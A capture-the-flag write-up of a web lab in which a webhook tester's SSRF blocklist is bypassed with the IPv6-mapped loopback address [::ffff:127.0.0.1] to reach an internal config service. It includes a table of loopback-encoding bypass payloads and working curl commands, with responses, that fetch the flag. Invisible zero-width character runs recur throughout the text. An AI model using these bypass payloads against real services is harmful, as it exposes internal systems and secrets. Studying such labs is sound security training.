← Back to Writeups
CUSTOMMediumWeb

Lab 347 — PushRelay — SSRF via URL Parsing Confusion in Webhook Tester

XESXOR9/10/20264 min read
#web#custom#medium#internal_service_access#ipv4_mapped_ipv6_bypass#ssrf_localhost_bypass#url_validation_bypass#linux

Lab 347 — PushRelay — SSRF via URL Parsing Confusion in Webhook Tester

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-01 | Status: Solved Techniques: internal_service_access, ipv4_mapped_ipv6_bypass, ssrf_localhost_bypass, url_validation_bypass

Summary

Task: PushRelay webhook platform validates URLs against SSRF blocklist using WHATWG URL parser, but misses IPv6-mapped IPv4 addresses. Solution: Bypass blocklist with http://[::ffff:127.0.0.1]:3001/ to reach internal config service and retrieve the flag.

Lab 347 — PushRelay — SSRF via URL Parsing Confusion in Webhook Tester

Description

PushRelay is a webhook delivery and notification management platform used by development teams to route events across their infrastructure. The platform supports configuring webhook endpoints, testing deliveries, managing notification channels, and reviewing delivery logs. Your goal is to find a way to access internal resources that should not be reachable from the outside. The application validates webhook URLs to prevent Server-Side Request Forgery, but the validation may not cover all edge cases. The flag is stored on an internal service that is only accessible from within the platform's infrastructure. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: An Express.js (Node.js) webhook delivery platform called PushRelay v2.4.1. The webhook test feature allows overriding the target URL and makes a server-side HTTP request. URL validation uses the WHATWG URL parser to extract hostnames for blocklist checking, but the actual HTTP request is made by axios. The blocklist misses IPv6-mapped IPv4 addresses (::ffff:127.0.0.1), allowing access to an internal config service on localhost:3001.

Target: https://ba4c4358-eaf5-4501-a615-83b8b1ea181e.labs.hackadvisor.io/ Credentials: user@test.com / password123 Stack: Express.js (Node.js), axios, WHATWG URL parser ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Analysis

Reconnaissance

  1. Logged in with provided credentials user@test.com / password123
  2. The app is PushRelay v2.4.1 — a webhook delivery and notification management platform
  3. The webhook test feature at /webhooks/:id/test allows overriding the target URL via a test_url form field
  4. The server makes a POST request to the specified URL — this is the SSRF vector

Key Endpoints

EndpointMethodPurpose
/loginPOSTAuthentication (email, password)
/webhooksGETList configured webhooks
/webhooks/:id/testPOSTTest webhook delivery with optional URL override
/docsGETAPI documentation revealing architecture details
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Architecture (from /docs)

The API documentation revealed critical implementation details:

  • URL validation: Uses the WHATWG URL parser (new URL()) to extract the hostname, then checks it against a blocklist
  • HTTP client: Uses axios to make the actual server-side request
  • Internal Config Service: Runs on localhost:3001 with endpoints for health checks, metrics, config, and secrets
  • Blocklist covers: localhost, 127.0.0.1, private IP ranges (10.x.x.x, 172.16-31.x.x, 192.168.x.x), non-HTTP protocols, and ::1 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerability

The core vulnerability is a gap in the SSRF blocklist: it checks for common localhost representations but does NOT check for ::ffff:127.0.0.1 — the IPv6-mapped IPv4 address for localhost.

  • new URL("http://[::ffff:127.0.0.1]:3001/") parses successfully with hostname [::ffff:127.0.0.1]
  • The blocklist checks for localhost, 127.0.0.1, ::1, and private ranges — but not ::ffff:* addresses
  • axios resolves [::ffff:127.0.0.1] to 127.0.0.1 and connects to the internal service ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Bypass Attempts (Blocked)

PayloadResult
http://localhost:3001/Blocked — localhost in blocklist
http://127.0.0.1:3001/Blocked — 127.0.0.1 in blocklist
http://0.0.0.0:3001/Blocked
http://127.1:3001/Blocked
http://0177.0.0.1:3001/ (octal)Blocked
http://2130706433:3001/ (decimal IP)Blocked
http://0x7f000001:3001/ (hex IP)Blocked
http://[::1]:3001/ (IPv6 loopback)Blocked — ::1 in blocklist
http://foo@localhost:3001/ (userinfo)Blocked
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Successful Bypass

http://[::ffff:127.0.0.1]:3001/

The IPv6-mapped IPv4 address ::ffff:127.0.0.1 is semantically equivalent to 127.0.0.1 but is syntactically different enough to evade the blocklist.

Solution

Step 1: Login

bash
URL="https://ba4c4358-eaf5-4501-a615-83b8b1ea181e.labs.hackadvisor.io"

curl -s -c cookies.txt -X POST "$URL/login" \
  -d "email=user@test.com&password=password123"

Step 2: Enumerate Internal Service

Send a webhook test request with the SSRF bypass URL targeting the internal service root: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

bash
curl -s -b cookies.txt -X POST "$URL/webhooks/1/test" \
  -d "test_url=http://[::ffff:127.0.0.1]:3001/&custom_body={}"

Response reveals available endpoints:

json
{
  "error": "Not found",
  "available": [
    "GET /health",
    "GET /internal/config",
    "GET /internal/flag",
    "GET /internal/metrics"
  ]
}

Step 3: Retrieve the Flag

Target the /internal/flag endpoint:

bash
curl -s -b cookies.txt -X POST "$URL/webhooks/1/test" \
  -d "test_url=http://[::ffff:127.0.0.1]:3001/internal/flag&custom_body={}"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Response:

json
{
  "status": "ok",
  "secret": "FLAG{REDACTED}",
  "note": "Internal configuration secret — do not expose externally"
}

Full Exploit (one-liner)

bash
# Login and retrieve flag in one chain
curl -s -c cookies.txt -X POST "$URL/login" \
  -d "email=user@test.com&password=password123" && \
curl -s -b cookies.txt -X POST "$URL/webhooks/1/test" \
  -d "test_url=http://[::ffff:127.0.0.1]:3001/internal/flag&custom_body={}"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍